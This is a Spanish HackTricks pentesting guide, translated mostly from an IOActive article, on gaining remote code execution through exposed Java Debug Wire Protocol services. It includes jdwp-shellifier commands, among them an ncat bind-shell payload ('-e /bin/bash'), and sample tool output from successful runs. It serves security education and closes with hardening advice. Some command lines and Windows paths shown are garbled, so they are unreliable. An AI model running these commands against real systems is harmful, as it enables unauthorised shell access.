hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

22 KiB
Raw Blame History

Pentesting JDWP - Protocolo de Depuración de Java por Cable

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Explotación

Puedes utilizar el exploit de Python ubicado en https://github.com/IOActive/jdwp-shellifier

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Encontré que el uso de --break-on 'java.lang.String.indexOf' hace que el exploit sea más estable. Y si tienes la oportunidad de cargar una puerta trasera en el host y ejecutarla en lugar de ejecutar un comando, el exploit será aún más estable.

Normalmente, este depurador se ejecuta en el puerto 8000 y si estableces una conexión TCP con el puerto y envías "JDWP-Handshake", el servidor debería responderte con la misma cadena.
También puedes buscar esta cadena en la red para encontrar posibles servicios JDWP.

Al listar los procesos, si encuentras la cadena "jdwk" dentro de un proceso de Java, probablemente tenga activo el **Protocolo de depuración con cable Java **y es posible que puedas moverte lateralmente o incluso elevar privilegios (si se ejecuta como root).

Más detalles

Copiado de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Protocolo de depuración con cable Java

Arquitectura de depuración de la plataforma Java (JPDA): JDWP es un componente del sistema global de depuración de Java, llamado Arquitectura de Depuración de la Plataforma Java (JPDA)[2]. A continuación se muestra un diagrama de la arquitectura general:

El Depurado consiste en una JVM de múltiples hilos que ejecuta nuestra aplicación objetivo. Para que sea posible depurar de forma remota, la instancia de JVM debe iniciarse explícitamente con la opción -Xdebug pasada en la línea de comandos, así como la opción -Xrunjdwp (o -agentlib). Por ejemplo, iniciar un servidor Tomcat con depuración remota habilitada se vería así:

Como se muestra en el diagrama de la arquitectura, el Protocolo de Depuración con Cable Java es el enlace central entre el Depurador y la instancia de JVM. Algunas observaciones sobre el protocolo incluyen:

  • Es un protocolo binario de red basado en paquetes.
  • Es en su mayoría sincrónico. El depurador envía un comando a través de JDWP y espera recibir una respuesta. Sin embargo, algunos comandos, como los Eventos, no esperan una respuesta sincrónica. Enviarán una respuesta cuando se cumplan condiciones específicas. Por ejemplo, un Punto de Interrupción es un Evento.
  • No utiliza autenticación.
  • No utiliza cifrado.

Todas estas observaciones tienen total sentido ya que estamos hablando de un protocolo de depuración. Sin embargo, cuando un servicio de este tipo se expone a una red hostil o está expuesto a Internet, las cosas pueden salir mal.

Handshake: JDWP dicta[9] que la comunicación debe iniciarse con un simple handshake. Al establecer una conexión TCP exitosa, el Depurador (cliente) envía la cadena ASCII de 14 caracteres "JDWP-Handshake". El Depurado (servidor) responde a este mensaje enviando la misma cadena exacta. El siguiente rastreo de scapy[3] muestra el handshake inicial de dos vías:

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

Un auditor de seguridad experimentado puede haberse dado cuenta de que un handshake tan simple ofrece una forma fácil de descubrir servicios JDWP en vivo en Internet. Simplemente envía una sonda simple y verifica la respuesta específica. Más interesante aún, se observó un comportamiento en el Kit de Desarrollo Java de IBM al escanear con ShodanHQ[4] con el servidor "hablando" primero con el mismo banner mencionado. Como consecuencia, existe una forma totalmente pasiva de descubrir un servicio JDWP activo (esto se aborda más adelante en este artículo con la ayuda del (in)famoso Shodan).

Comunicación: JDWP define mensajes[10] involucrados en las comunicaciones entre el Depurador y el Depurado. Los mensajes siguen una estructura simple, definida de la siguiente manera:

Los campos Length e Id son bastante autoexplicativos. El campo Flag se utiliza únicamente para distinguir los paquetes de solicitud de las respuestas, un valor de 0x80 indica un paquete de respuesta. El campo CommandSet define la categoría del Comando, como se muestra en la siguiente tabla.
\

CommandSet ** Command**
0x40 Acción que debe tomar la JVM (por ejemplo, establecer un Punto de Interrupción)
0x400x7F Proporcionar información de eventos al depurador (por ejemplo, la JVM ha alcanzado un Punto de Interrupción y está esperando más acciones)
0x80 Extensiones de terceros

Teniendo en cuenta que queremos ejecutar código arbitrario, los siguientes comandos son los más interesantes para nuestros propósitos.

  • VirtualMachine/IDSizes define el tamaño de las estructuras de datos manejadas por la JVM. Esta es una de las razones por las que el script de nmap jdwp-exec.nse[11] no funciona, ya que el script utiliza tamaños codificados.

  • ClassType/InvokeMethod te permite invocar una función estática.

  • ObjectReference/InvokeMethod te permite invocar una función de un objeto instanciado en la JVM.

  • StackFrame/(Get|Set)Values proporciona capacidades de empujar/sacar de la pila de hilos.

  • Event/Composite obliga a la JVM a reaccionar a comportamientos específicos declarados por este comando. Este comando es clave para fines de depuración, ya que permite, entre muchas otras cosas, establecer puntos de interrupción, ejecutar pasos individuales a través de los hilos durante el tiempo de ejecución y recibir notificaciones al acceder/modificar valores de la misma manera que GDB o WinDBG. No solo JDWP te permite acceder e invocar objetos que ya están en memoria, sino que también te permite crear o sobrescribir datos.

  • VirtualMachine/CreateString te permite transformar una cadena en un java.lang.String que vive en el tiempo de ejecución de JVM.

  • VirtualMachine/RedefineClasses te permite instalar nuevas definiciones de clases.

"Todos tus JDWP nos pertenecen"

Como hemos visto, JDWP proporciona comandos incorporados para cargar clases arbitrarias en la memoria de JVM e invocar bytecode ya existente y/o recién cargado. La siguiente sección cubrirá los pasos para crear código de explotación en Python, que se comporta como una implementación parcial de un front-end de JDI para ser lo más confiable posible. La razón principal de este script de explotación independiente es que, como pentester, me gustan las explotaciones "de un solo golpe". Es decir, cuando sé con certeza que un entorno/aplicación/protocolo es vulnerable, quiero tener mi herramienta lista para explotarlo de inmediato (es decir, sin PoC, que básicamente es lo único que existía hasta ahora). Ahora que hemos cubierto la teoría, vamos a la implementación práctica. Cuando nos enfrentamos a un servicio JDWP abierto, la ejecución de comandos arbitrarios está a solo cinco pasos de distancia (o con esta explotación, a solo una línea de comando de distancia). Así es como se desarrollaría: 1. Obtener referencia de tiempo de ejecución de JavaLa JVM manipula objetos a través de sus referencias. Por esta razón, nuestra explotación debe obtener primero la referencia a la clase java.lang.Runtime. De esta clase, necesitamos la referencia al método getRuntime(). Esto se realiza obteniendo todas las clases (paquete AllClasses) y todos los métodos en la clase que estamos buscando (paquete ReferenceType/Methods). 2. Configurar un punto de interrupción y esperar una notificación (llamadas asíncronas)Este es el punto clave de nuestra explotación. Para invocar código arbitrario, debemos estar en un contexto de hilo en ejecución. Para hacerlo, un truco es configurar un punto de interrupción en un método que se sabe que se llama en tiempo de ejecución. Como se vio anteriormente, un punto de interrupción en JDI es un evento asíncrono cuyo tipo se establece en BREAKPOINT(0x02). Cuando se alcanza, la JVM envía un paquete EventData a nuestro depurador, que contiene nuestro ID de punto de interrupción y, lo que es más importante, la referencia al hilo que lo alcanzó.
\

Por lo tanto, es una buena idea configurarlo en un método que se llama con frecuencia, como java.net.ServerSocket.accept(), que es muy probable que se llame cada vez que el servidor recibe una nueva conexión de red. Sin embargo, hay que tener en cuenta que podría ser cualquier método existente en tiempo de ejecución. 3. Asignar un objeto Java String en tiempo de ejecución para llevar a cabo la carga útilEjecutaremos código en tiempo de ejecución de JVM, por lo que todos nuestros datos manipulados (como cadenas) deben existir en tiempo de ejecución de JVM (es decir, poseer una referencia de tiempo de ejecución). Esto se hace bastante fácilmente enviando un comando CreateString.

4. Obtener objeto Runtime desde el contexto del punto de interrupciónEn este punto, casi tenemos todos los elementos que necesitamos para una explotación exitosa y confiable. Lo que nos falta es una referencia de objeto Runtime. Obtenerlo es fácil, y simplemente podemos ejecutar en tiempo de ejecución de JVM el método estático java.lang.Runtime.getRuntime()[8] enviando un paquete ClassType/InvokeMethod y proporcionando las referencias de la clase Runtime y el hilo. 5. Buscar e invocar el método exec() en la instancia de RuntimeEl último paso es simplemente buscar el método exec() en el objeto estático Runtime obtenido en el paso anterior e invocarlo (enviando un paquete ObjectReference/InvokeMethod) con el objeto String que creamos en el paso tres.

¡Et voilà! Rápido y fácil. Como demostración, vamos a iniciar un Tomcat en modo de depuración con JPDA habilitado:

root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start

Ejecutamos nuestro script sin un comando para ejecutar, simplemente para obtener información general del sistema:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting 192.168.2.9:8000
[+] Reading settings for Java HotSpot(TM) 64-Bit Server VM  1.6.0_65
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System Mac OS X
[+] Found User name pentestosx
[+] Found ClassPath /Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar
[+] Found User home directory /Users/pentestosx
[!] Command successfully executed

La misma línea de comando, pero contra un sistema Windows y deteniéndose en un método completamente diferente:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 break-on java.lang.String.indexOf
[+] Targeting 192.168.2.8:8000
[+] Reading settings for Java HotSpot(TM) Client VM  1.7.0_51
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on java.lang.String.indexOf
[+] Received matching event from thread 0x8f5
[+] Found Operating System Windows 7
[+] Found User name hugsy
[+] Found ClassPath C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar
[+] Found User home directory C:Usershugsy
[!] Command successfully executed

Ejecutamos nuestro exploit para generar un bind shell con el payload "ncat -e /bin/bash -l -p 1337", contra un sistema Linux:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 cmd ncat -l -p 1337 -e /bin/bash
[+] Targeting 192.168.2.8:8000
[+] Reading settings for OpenJDK Client VM  1.6.0_27
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on java.net.ServerSocket.accept
[+] Received matching event from thread 0x82a[+] Selected payload ncat -l -p 1337 -e /bin/bash
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

El exploit final utiliza esas técnicas, agrega algunas comprobaciones y envía señales de suspensión/reanudación para causar la menor interrupción posible (siempre es mejor no romper la aplicación en la que estás trabajando, ¿verdad?). Actúa en dos modos:

  • El modo "Predeterminado" es totalmente no intrusivo y simplemente ejecuta código Java para obtener información del sistema local (perfecto para una prueba de concepto para un cliente).
  • Pasar la opción "cmd" ejecuta un comando del sistema en el host remoto y, por lo tanto, es más intrusivo. El comando se ejecuta con los privilegios con los que se está ejecutando la JVM.

Este script de exploit se probó con éxito en:

  • Oracle Java JDK 1.6 y 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

Como Java es independiente de la plataforma por diseño, los comandos se pueden ejecutar en cualquier sistema operativo compatible con Java. Bueno, esto en realidad es una buena noticia para nosotros, los pentesters: un servicio JDWP abierto significa una RCE confiable. Hasta ahora, todo bien.

¿Y qué pasa con la explotación en la vida real?

De hecho, JDWP se utiliza bastante en el mundo de las aplicaciones Java. Sin embargo, los pentesters pueden no verlo con tanta frecuencia al realizar evaluaciones remotas, ya que los firewalls bloquearían (y deberían bloquear) principalmente el puerto en el que se está ejecutando. Pero esto no significa que no se pueda encontrar JDWP en la naturaleza:

  • En el momento de escribir este artículo, una búsqueda rápida en ShodanHQ[4] revela de inmediato alrededor de 40 servidores enviando el saludo JDWP:

Esto es realmente un hallazgo interesante porque, como hemos visto antes, se supone que es el lado del cliente (depurador) el que inicia el diálogo.

  • GitHub[7] también revela un número significativo de aplicaciones de código abierto potencialmente vulnerables:

  • Al realizar un escaneo masivo en Internet en busca de puertos específicos (tcp/8000, tcp/8080, tcp/8787, tcp/5005), se encontraron muchos hosts (que no se pueden informar aquí) que responden al saludo inicial.
  • Se encontraron aplicaciones "empresariales" en la naturaleza que ejecutan un servicio JDWP *de forma predeterminada* (encontrar el número de puerto real queda como ejercicio para el lector curioso).

Estas son solo algunas formas de descubrir servicios JDWP abiertos en Internet. Esto es un gran recordatorio de que las aplicaciones deben someterse regularmente a revisiones de seguridad exhaustivas, los entornos de producción deben desactivar cualquier funcionalidad de depuración y los firewalls deben configurarse para restringir el acceso a los servicios necesarios solo para el funcionamiento normal. Permitir que cualquier persona se conecte a un servicio JDWP es exactamente lo mismo que permitir una conexión a un servicio gdbserver (de una manera posiblemente más estable). Espero que hayas disfrutado leyendo este artículo tanto como yo disfruté jugando con JDWP. ¡A todos los poderosos piratas, felices JDWP pwning!

Gracias

Me gustaría agradecer a Ilja Van Sprundel y Sebastien Macke por sus ideas y pruebas.

Referencias:

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy(no longer active)
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html (no longer active)
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥